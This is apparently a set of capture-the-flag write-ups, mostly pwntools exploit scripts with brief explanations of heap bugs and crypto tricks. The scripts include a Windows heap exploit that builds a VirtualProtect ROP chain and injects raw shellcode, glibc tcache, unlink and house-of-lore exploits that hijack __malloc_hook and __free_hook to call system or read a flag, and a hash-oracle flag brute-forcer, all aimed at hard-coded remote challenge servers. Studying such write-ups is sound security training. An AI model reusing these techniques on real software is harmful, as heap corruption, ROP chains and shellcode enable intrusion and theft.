encode = u64(data[:8])
log.info('encode: {}'.format(hex(encode)))
free('\x02')
create('\x02', 'c' * 0x500)
create('\x02', 'e' * 0x58 + p64(header) + p64(base + 0x3000), 0x50)
show('\x01')
data = p.recvuntil('\norange', drop=1)
kernel32 = u64(data[:8]) - 0x22680
log.info('kernel32: {}'.format(hex(kernel32)))
# free('\x02')
fake = heap & 0xfffffffffffff000
fake += 0xc20
create('a', '1' * 0x100)
create('b', '2' * 0x20)
create('c', '3' * 0x200)
create('d', '4' * 0x20)
create('e', '5' * 0x500)
create('f', '6' * 0x80)
create('g', '7' * 0x80)
free('a')
free('c')
create('e', '8' * 0x178 + p64(encode ^ 0x1000001806010007) + p64(heap) + p64(0x20) + 'nonick'.ljust(0x58, '.') + p64(
encode ^ 0x1000000702010003) + 'nonick'.ljust(0x28, '.') + p64(encode ^ 0x328000028) + p64(base + 0x5630), 0x170)
logout()
p.sendlineafter('>>', '1')
p.sendlineafter(':', 'orange\x00\x00' + p64(encode ^ 0x328000028) + p64(fake) + p64(fake)[:-1])
p.sendlineafter(':', 'godlike')
payload = p64(base + 0x5630) * 2
payload += p64(stack) * 2
payload += p32(0)
payload += p32(0x4C0 | (1 << 0xd))
payload += p64(0)
payload += p64(0x1000)
payload += p64(0)
payload += '\xff' * 12 + '\x00' * 0x14
payload += p64(0xfa0)
create('f', payload, 0x270)
payload = 'a' * 0x10
payload += p64(heap & 0xfffffffffffff000)
payload += 'a' * 0x20
payload += p64(fake + 0x10)
create('g', payload, 0x270)
logout()
p.sendlineafter('>>', '1')
p.sendlineafter(':', 'orange')
p.sendlineafter(':', 'godlike')
payload = 'a' * ((target_stack & 0xfff) - 0x6a0)
addrsp = base + 0x01d0b
virtual_protect = kernel32 + 0x1B680
poprcx = ntdll + 0x9217b
poprdx = ntdll + 0x57642
popr8 = ntdll + 0x2010b
poprax = ntdll + 0x2010c
popr9_jmp = ntdll + 0x08fb15
payload += p64(addrsp)
payload += 'a' * 0x28
payload += p64(base + 0x1fcc)
payload += 'x' * 0x38
payload += p64(poprax)
payload += p64(virtual_protect)
payload += p64(poprcx)
payload += p64(stack)
payload += p64(poprdx)
payload += p64(0x1000)
payload += p64(popr8)
payload += p64(0x40)
payload += p64(popr9_jmp)
payload += p64(base + 0x5630)
payload += p64(0) * 2
payload += p64(stack + len(payload) + 0x20)
payload += '\x90' * 0x100
buf = [
0x40, 0x57, 0x48, 0x81, 0xEC, 0x50, 0x01, 0x00, 0x00, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00,
0x00, 0x00, 0x48, 0x89, 0xAC, 0x24, 0x70, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x48, 0x18, 0x4C, 0x8B,
0x41, 0x10, 0x49, 0x8B, 0x78, 0x60, 0x4C, 0x8B, 0xCF, 0x0F, 0x1F, 0x80, 0x00, 0x00, 0x00, 0x00,
0x48, 0x85, 0xFF, 0x74, 0x2C, 0x0F, 0xB7, 0x07, 0x33, 0xD2, 0xB9, 0x05, 0x15, 0x00, 0x00, 0x66,
0x85, 0xC0, 0x74, 0x1D, 0x0F, 0xB7, 0xC0, 0xFF, 0xC2, 0x6B, 0xC9, 0x21, 0x03, 0xC8, 0x8B, 0xC2,
0x0F, 0xB7, 0x04, 0x57, 0x66, 0x85, 0xC0, 0x75, 0xEB, 0x81, 0xF9, 0x55, 0x95, 0xDB, 0x6D, 0x74,
0x0E, 0x4D, 0x8B, 0x00, 0x49, 0x8B, 0x78, 0x60, 0x49, 0x3B, 0xF9, 0x75, 0xC3, 0xEB, 0x09, 0x49,
0x8B, 0x68, 0x30, 0x48, 0x85, 0xED, 0x75, 0x73, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00,
0x00, 0x48, 0x8B, 0x48, 0x18, 0x4C, 0x8B, 0x41, 0x10, 0x49, 0x8B, 0x78, 0x60, 0x4C, 0x8B, 0xCF,
0x48, 0x85, 0xFF, 0x74, 0x2B, 0x0F, 0xB7, 0x0F, 0x33, 0xD2, 0xB8, 0x05, 0x15, 0x00, 0x00, 0x66,
0x85, 0xC9, 0x74, 0x1C, 0x0F, 0xB7, 0xC9, 0xFF, 0xC2, 0x6B, 0xC0, 0x21, 0x03, 0xC1, 0x8B, 0xCA,
0x0F, 0xB7, 0x0C, 0x57, 0x66, 0x85, 0xC9, 0x75, 0xEB, 0x3D, 0x75, 0xEE, 0x40, 0x70, 0x74, 0x22,
0x4D, 0x8B, 0x00, 0x49, 0x8B, 0x78, 0x60, 0x49, 0x3B, 0xF9, 0x75, 0xC4, 0xB8, 0x01, 0x00, 0x00,
0x00, 0x48, 0x8B, 0xAC, 0x24, 0x70, 0x01, 0x00, 0x00, 0x48, 0x81, 0xC4, 0x50, 0x01, 0x00, 0x00,
0x5F, 0xC3, 0x49, 0x8B, 0x68, 0x30, 0x48, 0x85, 0xED, 0x74, 0xE1, 0x48, 0x89, 0x9C, 0x24, 0x68,
0x01, 0x00, 0x00, 0xBA, 0x97, 0x0F, 0x2C, 0x38, 0x48, 0x8B, 0xCD, 0x48, 0x89, 0xB4, 0x24, 0x48,
0x01, 0x00, 0x00, 0x4C, 0x89, 0xB4, 0x24, 0x40, 0x01, 0x00, 0x00, 0xE8, 0x60, 0x01, 0x00, 0x00,
0xBA, 0xFA, 0xC5, 0x96, 0xEB, 0x48, 0x8B, 0xCD, 0x48, 0x8B, 0xF8, 0xE8, 0x50, 0x01, 0x00, 0x00,
0xBA, 0x3C, 0x84, 0x78, 0xF1, 0x48, 0x8B, 0xCD, 0x48, 0x8B, 0xD8, 0xE8, 0x40, 0x01, 0x00, 0x00,
0xBA, 0x21, 0x99, 0x01, 0x71, 0x48, 0x8B, 0xCD, 0x4C, 0x8B, 0xF0, 0xE8, 0x30, 0x01, 0x00, 0x00,
0xBA, 0xB0, 0xEC, 0x3C, 0x66, 0x48, 0x8B, 0xCD, 0x48, 0x8B, 0xF0, 0xE8, 0x20, 0x01, 0x00, 0x00,
0xBA, 0x20, 0x00, 0x00, 0x00, 0x44, 0x8D, 0x4A, 0xE4, 0x33, 0xC9, 0x41, 0xB8, 0x00, 0x30, 0x00,
0x00, 0x48, 0x8B, 0xE8, 0xFF, 0xD7, 0xB9, 0x20, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0xD0, 0x48, 0x8B,
0xF8, 0x33, 0xC0, 0xF3, 0xAA, 0x48, 0x89, 0x44, 0x24, 0x30, 0x45, 0x33, 0xC9, 0x49, 0x8B, 0xCA,
0x45, 0x33, 0xC0, 0xBA, 0x00, 0x00, 0x00, 0x80, 0xC7, 0x44, 0x24, 0x28, 0x80, 0x00, 0x00, 0x00,
0x41, 0xC7, 0x02, 0x43, 0x3A, 0x5C, 0x64, 0x41, 0xC7, 0x42, 0x04, 0x61, 0x64, 0x61, 0x64, 0x41,
0xC7, 0x42, 0x08, 0x62, 0x5C, 0x66, 0x6C, 0x41, 0xC7, 0x42, 0x0C, 0x61, 0x67, 0x2E, 0x74, 0x66,
0x41, 0xC7, 0x42, 0x10, 0x78, 0x74, 0xC7, 0x44, 0x24, 0x20, 0x03, 0x00, 0x00, 0x00, 0xFF, 0xD3,
0x4C, 0x8D, 0x8C, 0x24, 0x60, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x54, 0x24, 0x40, 0x41, 0xB8, 0x00,
0x01, 0x00, 0x00, 0x48, 0x8B, 0xC8, 0x48, 0xC7, 0x44, 0x24, 0x20, 0x00, 0x00, 0x00, 0x00, 0xFF,
0xD6, 0xB9, 0xF5, 0xFF, 0xFF, 0xFF, 0x41, 0xFF, 0xD6, 0x4C, 0x8D, 0x8C, 0x24, 0x60, 0x01, 0x00,
0x00, 0x48, 0x8D, 0x54, 0x24, 0x40, 0x41, 0xB8, 0x00, 0x01, 0x00, 0x00, 0x48, 0x8B, 0xC8, 0x48,
0xC7, 0x44, 0x24, 0x20, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xD5, 0x4C, 0x8B, 0xB4, 0x24, 0x40, 0x01,
0x00, 0x00, 0x48, 0x8B, 0xB4, 0x24, 0x48, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x9C, 0x24, 0x68, 0x01,
0x00, 0x00, 0x48, 0x8B, 0xAC, 0x24, 0x70, 0x01, 0x00, 0x00, 0x33, 0xC0, 0x48, 0x81, 0xC4, 0x50,
0x01, 0x00, 0x00, 0x5F, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0x0F, 0xB6, 0x11, 0x45, 0x33, 0xC0, 0xB8, 0x05, 0x15, 0x00, 0x00, 0x84, 0xD2, 0x74, 0x16, 0x90,
0x6B, 0xC0, 0x21, 0x0F, 0xBE, 0xD2, 0x45, 0x8D, 0x40, 0x01, 0x03, 0xC2, 0x41, 0x0F, 0xB6, 0x14,
0x08, 0x84, 0xD2, 0x75, 0xEB, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0x40, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x63, 0x41, 0x3C, 0x4C, 0x8B, 0xD9, 0x8B, 0xFA, 0x8B,
0x8C, 0x08, 0x88, 0x00, 0x00, 0x00, 0x85, 0xC9, 0x75, 0x08, 0x33, 0xC0, 0x48, 0x83, 0xC4, 0x20,
0x5F, 0xC3, 0x45, 0x8B, 0x54, 0x0B, 0x20, 0x49, 0x8D, 0x04, 0x0B, 0x48, 0x89, 0x5C, 0x24, 0x30,
0x8B, 0x58, 0x18, 0x48, 0x89, 0x6C, 0x24, 0x38, 0x8B, 0x68, 0x1C, 0x48, 0x89, 0x74, 0x24, 0x40,
0x8B, 0x70, 0x24, 0x4D, 0x03, 0xD3, 0x49, 0x03, 0xEB, 0x45, 0x33, 0xC9, 0x49, 0x03, 0xF3, 0x85,
0xDB, 0x74, 0x1B, 0x41, 0x8B, 0x0A, 0x49, 0x03, 0xCB, 0xE8, 0x72, 0xFF, 0xFF, 0xFF, 0x3B, 0xC7,
0x74, 0x23, 0x41, 0xFF, 0xC1, 0x49, 0x83, 0xC2, 0x04, 0x44, 0x3B, 0xCB, 0x72, 0xE5, 0x33, 0xC0,
0x48, 0x8B, 0x6C, 0x24, 0x38, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x8B, 0x74, 0x24, 0x40, 0x48,
0x83, 0xC4, 0x20, 0x5F, 0xC3, 0x42, 0x0F, 0xB7, 0x0C, 0x4E, 0x8B, 0x44, 0x8D, 0x00, 0x49, 0x03,
0xC3, 0xEB, 0xDD
]
buf = ''.join([chr(x) for x in buf])
payload += buf
p.send(payload)
p.interactive()One Punch Man [292pts]
The vulnerability is a simple UAF, the relevant leakage is very easy, but we can only use calloc in normal allocation which does not use tcache, and fastbin and unsorted bin aren't allowed due to size limit. The hidden function allows to malloc(0x217), but only when 0x220 tcache count is larger than 6, so we cannot write fd to achieve arbitrary write.
Initially we tried unsorted bin attack, but it seems that we must use chunk that will not be putted into tcache to do unsorted bin attack. Then I tried house of lore to allocate a chunk at tcache arena, however the program crashes at memset function since the size passed into memset function is too large. The root cause is that calloc uses the chunk_size-0x10 as the argument of memset, and chunk_size can only be 0 or a heap address, which always gives a size that is way too large.
The solution is to use unlink first to rewrite 0x220 tcache pointer to &pointer - 0x18, so that we can allocate a chunk at tcache arena to fake a 0x10 chunk size there first, then use house of lore attack again, and this time size passed into memset is 0x10-0x10=0 which does not cause any crash.
Then it is easy to rewrite the 0x220 tcache pointer while still keeping tcache count being 7, by allocating malloc(0x217) we can achieve arbitrary memory write. We can write __malloc_hook and perform ROP since stack contents are controllable.
from pwn import *
AES_BLOCK_SIZE = 16
g_local=0
context(log_level='debug', arch='amd64')
e = ELF("./libc.so.6")
if g_local:
sh = process("./one_punch", env={"LD_LIBRARY_PATH":"."})
gdb.attach(sh)
else:
sh = remote("52.198.120.1", 48763)
def ce(cmd, idx, name):
sh.send(cmd + '\x00')
sh.sendafter("idx: ", str(idx) + '\x00')
sh.sendafter("name: ", name)
sh.recvuntil("> ")
create = lambda idx,name: ce('1', idx, name)
edit = lambda idx,name: ce('2', idx, name)
def show(idx):
sh.send('3\x00')
sh.sendafter("idx: ", str(idx) + '\x00')
sh.recvuntil("name: ")
ret = sh.recvuntil("\n####")[:-5]
sh.recvuntil("> ")
return ret
def delete(idx):
sh.send('4\x00')
sh.sendafter("idx: ", str(idx) + '\x00')
return sh.recvuntil("> ")
def punch(data="a"):
sh.send("50056".ljust(8, '\x00'))
sh.send(data)
sh.recvuntil("> ")
create(0, '0' * 0x217)
create(1, '1' * 0x217)
delete(0)
delete(1)
heap_addr = u64(show(1) + '\x00\x00') - 0x260
for i in xrange(5):
create(0, '2' * 0x217)
delete(0)
create(0, '2' * 0x217)
create(1, '3' * 0x217)
delete(0)
libc_addr = u64(show(0)+'\x00\x00') - 0x1e4ca0
print hex(heap_addr),hex(libc_addr)
delete(1)
punch() # consume 1 tcache
create(0, 'T' * 0x217)
delete(0)
edit(0, p64(0)*2)
delete(0)
# now top chunk + 0x10 == top elem in 0x220
for i in xrange(3):
create(i, 'U' * 0x217)
for i in xrange(3):
delete(i) # all merged to top
fake_chunk = p64(0) + p64(0x211)
fake_chunk += p64(heap_addr + 0x150 - 0x18)
fake_chunk += p64(heap_addr + 0x150 - 0x10)
fake_chunk = fake_chunk.ljust(0x210, 'F')
fake_chunk += p64(0x210) + p64(0x600)
create(0, cyclic(0x400))
edit(0, fake_chunk)
# 0x220 <- 0x200 top
# +0x1e0 <- g[2].ptr
create(2, cyclic(0x400))
# current heap layout:
# 0x400 chunk
# [fake 0x210 chunk + 0x600 chunk head, whose next is top]
# 0x400 chunk
delete(1) # unlink trigger, things merged to top
punch(p64(0x28))
# fake chunk_size for smallbin attack
# otherwise calloc will crash in memset
create(0, '7' * 0x217)
delete(0) # fill 0x220 tcache
# consolidate topchunk
for i in xrange(6):
create(0, '4' * 0x1f0)
delete(0)
create(1, 'P' * 0x217) # create a padding
create(0, '4' * 0x1f0) # last tcache chunk
delete(0) # put it to tcache
edit(0, p64(0) + p64(0))
# rewrite fd and key to bypass double free check
delete(0) # to topchunk
delete(1) # to topchunk
# now 0x200 -> 7, top element is behind topchunk
# now 0x220 -> 7
create(0, '5' * 0x220)
create(0, '4' * 0x1f0) # chunk_head == top at 0x200
create(1, '5' * 0x200)
delete(0)
create(1, '5' * 0x200) # put to smallbin
edit(0, p64(libc_addr+0x1e4e90) + p64(heap_addr+0x130))
delete(1)
edit(1, p64(0)*2 + p64(heap_addr+0x130))
create(0, 'C' * 0x1f0)
create(0, 'A' * 0x10 + p64(libc_addr + \
e.symbols["__malloc_hook"]).ljust(0x1e0, '\x00'))
# add rsp,48; ret
punch(p64(libc_addr + 0x8cfd6) + "flag\x00")
pop_rdi = p64(libc_addr + 0x26542)
pop_rsi = p64(libc_addr + 0x26f9e)
pop_rdx = p64(libc_addr + 0x12bda6)
pop_rcx = p64(libc_addr + 0x10b31e)
rop = pop_rdi + p64(2)
rop += pop_rsi
rop += p64(libc_addr + e.symbols["__malloc_hook"] + 8)
rop += pop_rdx + p64(0)
rop += p64(libc_addr + e.symbols["syscall"])
rop += pop_rdi + p64(3)
rop += pop_rsi + p64(heap_addr + 0x2000)
rop += pop_rdx + p64(0x100)
rop += p64(libc_addr + e.symbols["read"])
rop += pop_rdi + p64(1)
rop += pop_rsi + p64(heap_addr + 0x2000)
rop += pop_rdx + p64(0x100)
rop += p64(libc_addr + e.symbols["write"])
rop += p64(0)
create(0, rop)
sh.interactive()๐ Trick or Treat ๐ [234pts]
from pwn import *
debug = 0
if debug:
p = process('./trick_or_treat', env={'LD_PRELOAD': './trick.libc'})
else:
p = remote('3.112.41.140', 56746)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
p.sendlineafter(':', str(0x1000000))
p.recvuntil(':')
if debug:
gdb.attach(p, 'b free ')
magic = int(p.recvuntil('\n'), 16)
libc.address = magic + 0x1001000 - 0x10
log.success('libc:' + hex(libc.address))
p.sendlineafter('e:',
'{} {}'.format(hex((libc.symbols['__free_hook'] - magic) / 8)[2:], hex(libc.symbols["system"])[2:]))
p.sendlineafter('e:', '0' * 0x1000 + ' ' + 'ed')
#p.sendline('ls')
p.interactive()!/bin/cat /home/trick_or_treat/flag.txtmisc
Welcome [50pts]
:!cat flag
Revenge of Welcome [105pts]
Ctrl+o -> :!cat flag
EmojiiVM [198pts]
NOP = 1
ADD = 2
SUB = 3
MUL = 4
MOD = 5
XOR = 6
AND = 7
LWR = 8
EQU = 9
JMP = 10
JT = 11
JF = 12
# IMM = 13
POP = 14
# GET = 15
# SET = 16
NEW = 17
DEL = 18
EDIT = 19
SHOW = 20
def IMM(v):
assert v <= 10
return [13, -v]
def IMMX(v):
if v <= 10:
return IMM(v)
else:
hi, lo = divmod(v, 10)
pl = IMMX(hi) + IMM(10) + [MUL]
if lo != 0:
pl += IMM(lo) + [ADD]
return pl
def GET(idx, off):
return IMMX(off) + IMMX(idx) + [15]
def SET(idx, off):
return IMMX(off) + IMMX(idx) + [16]
def STR(idx, s):
pl = []
for i, c in enumerate(s):
pl += IMMX(ord(c)) + IMMX(i) + IMM(idx) + [16] # set
return pl
def GETI():
return GET(0, 0)
def GETJ():
return GET(0, 1)
def LOC(i):
return [i | (1 << 30)] * 14 # len(IMMX(999))
pl = IMMX(20) + [NEW] + IMMX(20) + [NEW]
pl += STR(1, '0 * 0 = 0\n')
pl += IMM(1) + SET(0, 0) # i = 1
loc3 = len(pl)
pl += IMM(10) + GETI() + [LWR] + LOC(1) + [JF]
pl += IMM(1) + SET(0, 1) # j = 1
loc4 = len(pl)
pl += IMM(10) + GETJ() + [LWR] + LOC(2) + [JF]
pl += GETI() + IMMX(0x30) + [ADD] + SET(1, 0)
pl += GETJ() + IMMX(0x30) + [ADD] + SET(1, 4)
pl += GETI() + GETJ() + [MUL] + SET(0, 2)
pl += LOC(5) + IMM(10) + GET(0, 2) + [LWR] + LOC(5) + [JF]
pl += IMMX(10) + SET(1, 9) + IMM(0) + SET(1, 10)
pl += GET(0, 2) + IMMX(0x30) + [ADD] + SET(1, 8)
pl += IMM(1) + [SHOW]
pl += LOC(6) + [JMP]
loc5 = len(pl)
pl += IMMX(10) + SET(1, 10) + IMM(0) + SET(1, 11)
pl += IMM(10) + GET(0, 2) + [MOD] + IMMX(0x30) + [ADD] + SET(1, 9) # lo
pl += IMM(10) + GET(0, 2) + [MOD] + GET(0, 2) + [SUB] + SET(0, 2)
pl += IMM(0) + SET(0, 3)
loc7 = len(pl)
pl += IMM(10) + GET(0, 2) + [SUB] + SET(0, 2)
pl += IMM(1) + GET(0, 3) + [ADD] + SET(0, 3)
pl += LOC(7) + IMM(0) + GET(0, 2) + [EQU] + LOC(7) + [JF]
pl += GET(0, 3) + IMMX(0x30) + [ADD] + SET(1, 8) # hi
pl += IMM(1) + [SHOW]
loc6 = len(pl)
pl += IMM(1) + GETJ() + [ADD] + SET(0, 1)
pl += LOC(4) + [JMP]
loc2 = len(pl)
pl += IMM(1) + GETI() + [ADD] + SET(0, 0)
pl += LOC(3) + [JMP]
loc1 = len(pl)
pl += [0x17]
print(len(pl))
i = 0
while i < len(pl):
v = pl[i]
if v == LOC(1)[0]:
r = loc1
elif v == LOC(2)[0]:
r = loc2
elif v == LOC(3)[0]:
r = loc3
elif v == LOC(4)[0]:
r = loc4
elif v == LOC(5)[0]:
r = loc5
elif v == LOC(6)[0]:
r = loc6
elif v == LOC(7)[0]:
r = loc7
else:
assert type(v) == int
i += 1
continue
a, t = divmod(r, 100)
b, c = divmod(t, 10)
t = IMM(a) + IMM(10) + [MUL] + IMM(b) + [ADD] + IMM(10) + [MUL] + IMM(c) + [ADD]
assert len(t) == 14
pl = pl[:i] + t + pl[i + 14:]
i += len(t)
print(pl)
consts = [128512,128513,128514,129315,128540,128516,128517,128518,128521,128522,128525,]
opcodes = [0,127539,10133,10134,10060,0x2753,10062,128107,128128,128175,128640,127542,127514,9196,128285,128228,128229,127381,127379,128196,128221,128289,128290,0x1F6D1,]
mp = {
0x23EC: '\xE2\x8F\xAC',
0x274c: '\xE2\x9D\x8C',
0x274e: '\xE2\x9D\x8E',
0x2753: '\xE2\x9D\x93',
0x2795: '\xE2\x9E\x95',
0x2796: '\xE2\x9E\x96',
0x1F193: '\xF0\x9F\x86\x93',
0x1F195: '\xF0\x9F\x86\x95',
0x1F21A: '\xF0\x9F\x88\x9A',
0x1F233: '\xF0\x9F\x88\xB3',
0x1F236: '\xF0\x9F\x88\xB6',
0x1f46b: '\xF0\x9F\x91\xAB',
0x1f480: '\xF0\x9F\x92\x80',
0x1f4af: '\xF0\x9F\x92\xAF',
0x1f4c4: '\xF0\x9F\x93\x84',
0x1f4dd: '\xF0\x9F\x93\x9D',
0x1f4e4: '\xF0\x9F\x93\xA4',
0x1f4e5: '\xF0\x9F\x93\xA5',
0x1f51d: '\xF0\x9F\x94\x9D',
0x1f521: '\xF0\x9F\x94\xA1',
0x1f522: '\xF0\x9F\x94\xA2',
0x1f600: '\xF0\x9F\x98\x80',
0x1f601: '\xF0\x9F\x98\x81',
0x1f602: '\xF0\x9F\x98\x82',
0x1f604: '\xF0\x9F\x98\x84',
0x1f605: '\xF0\x9F\x98\x85',
0x1f606: '\xF0\x9F\x98\x86',
0x1f609: '\xF0\x9F\x98\x89',
0x1f60a: '\xF0\x9F\x98\x8A',
0x1f60d: '\xF0\x9F\x98\x8D',
0x1f61c: '\xF0\x9F\x98\x9C',
0x1f680: '\xF0\x9F\x9A\x80',
0x1f6d1: '\xF0\x9F\x9B\x91',
0x1f923: '\xF0\x9F\xA4\xA3',
}
out = []
i = 0
while i < len(pl):
v = pl[i]
assert type(v) == int
if v <= 0:
t = abs(v)
assert t <= 10
out.append(mp[consts[t]])
i += 1
elif 0 < v and v < 0x18:
out.append(mp[opcodes[v]])
i += 1
else:
raise ValueError, v
open('payload', 'wb').write(''.join(out))heXDump [202pts]
xxd overwrites partially.
#! /usr/bin/env python2
# -*- coding: utf-8 -*-
# vim:fenc=utf-8
#
# Copyright ยฉ 2018 anciety <anciety@anciety-pc>
#
# Distributed under terms of the MIT license.
import sys
import os
import os.path
import binascii
import string
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['ancyterm', '-s', '192.168.142.1', '-t', 'alacritty', '-e']
# synonyms for faster typing
tube.s = tube.send
tube.sl = tube.sendline
tube.sa = tube.sendafter
tube.sla = tube.sendlineafter
tube.r = tube.recv
tube.ru = tube.recvuntil
tube.rl = tube.recvline
tube.rr = tube.recvregex
tube.irt = tube.interactive
if len(sys.argv) > 2:
DEBUG = 0
HOST = sys.argv[1]
PORT = int(sys.argv[2])
p = remote(HOST, PORT)
else:
DEBUG = 1
if len(sys.argv) == 2:
PATH = sys.argv[1].split()
p = process(PATH)
# by w1tcher who dominates pwnable challenges
def house_of_orange(head_addr, system_addr, io_list_all):
payload = b'/bin/sh\x00'
payload = payload + p64(0x61) + p64(0) + p64(io_list_all - 16)
payload = payload + p64(0) + p64(1) + p64(0) * 9 + p64(system_addr) + p64(0) * 4
payload = payload + p64(head_addr + 18 * 8) + p64(2) + p64(3) + p64(0) + \
p64(0xffffffffffffffff) + p64(0) * 2 + p64(head_addr + 12 * 8)
return payload
orig_attach = gdb.attach
def gdb_attach(*args, **kwargs):
if DEBUG:
orig_attach(*args, **kwargs)
gdb.attach = gdb_attach
def choose(p, n):
p.ru('quit\n')
p.sl(str(n))
def write(p, s):
choose(p, 1)
p.ru('format)\n')
p.sl(binascii.hexlify(s))
def read(p):
choose(p, 2)
return p.rl().strip()
def check(p, s):
flag_sha1 = read(p)
with open('temp', 'wb') as f:
f.write(s)
cmd = './getsha1.sh'.split()
with process(cmd) as x:
sha1 = x.rl().strip()
if sha1 == flag_sha1:
return True
else:
return False
def flag_len_le(p, n):
p.info('checking length {}'.format(n))
choose(p, 1337)
s = 'a' * n
write(p, s)
if check(p, s):
p.info('True')
return True
else:
p.info('False')
return False
def guess_length(p, l, r):
p.info('l {} r {}'.format(l, r))
if l == r:
return l
mid = (l + r) >> 1
if flag_len_le(p, mid):
r = mid
return guess_length(p, l, r)
else:
l = mid + 1
return guess_length(p, l, r)
flag_postfix = ''
def guess_byte(p, b, idx):
global flag_postfix
p.info('guessing #{} with {}'.format(idx, b))
prepend_n = max(idx - 1, 0)
guessing_flag = prepend_n * 'a' + b + flag_postfix
p.info('testing {}'.format(guessing_flag))
choose(p, 1337)
if prepend_n > 0:
write(p, 'a' * prepend_n)
confirmed = check(p, guessing_flag)
if confirmed:
p.info('success, flag postfix {}'.format(flag_postfix))
flag_postfix = b + flag_postfix
return True
else:
p.info('failed')
return False
def main():
global flag_postfix
#length = guess_length(0, 0x40) # 32
length = 32
for i in range(length, 0, -1):
guessed = False
for x in string.printable:
#with process('ruby hexdump.rb'.split()) as p:
with remote(HOST, PORT) as p:
if guess_byte(p, x, i):
guessed = True
break
if not guessed:
raise Exception('not found for #{}'.format(i))
p.info('flag {}'.format(flag_postfix))
p.irt()
if __name__ == '__main__':
main()
getsha1.sh
#!/bin/sh
sha1sum temp | awk '{ print $1 }'EV3 Player [207pts]
Analysis the .pklg file, there are three file in it. fl.srf, ag.srf, hello.srf๏ผthese files can open by Lego Mindstorms software. Load it, then we can hear the flag!
crypto
Lost Modulus Again [200pts]
The program leaks e, d, iqmp, ipmq.
ipmq * p = 1 (mod q) iqmp * q = 1 (mod p) => ipmq * p + iqmp * q - pq = 1 (eq1)
d * e = 1 (mod phi(n)) bitnum(d * e - 1) = 2068 bitnum(phi(n)) ~ 2048 => factor d*e-1 get phi(n) by comparing the bitnum. (p-1) * (q-1) = phi(n) (eq2)
With eq1 and eq2 we can solve p, q.
Very Simple Haskell [200pts]
There are only three blocks of length k to calculate.
We can get the flag if we known which primes are used to calculate the cyphertext.
One of the block contains the bit length of the message, which is already known. The other two blocks contain the message. Many bits of the message are known. The unknown part is only 48 bits.
We caculate the first k primes and their inverses under modulo n. All the known parts of blocks can be cleared away in the ciphertext by multiplying the inverse of the corresponding prime number. After that, the result, which is a product of at most 48 small primes and less than n, could be factored.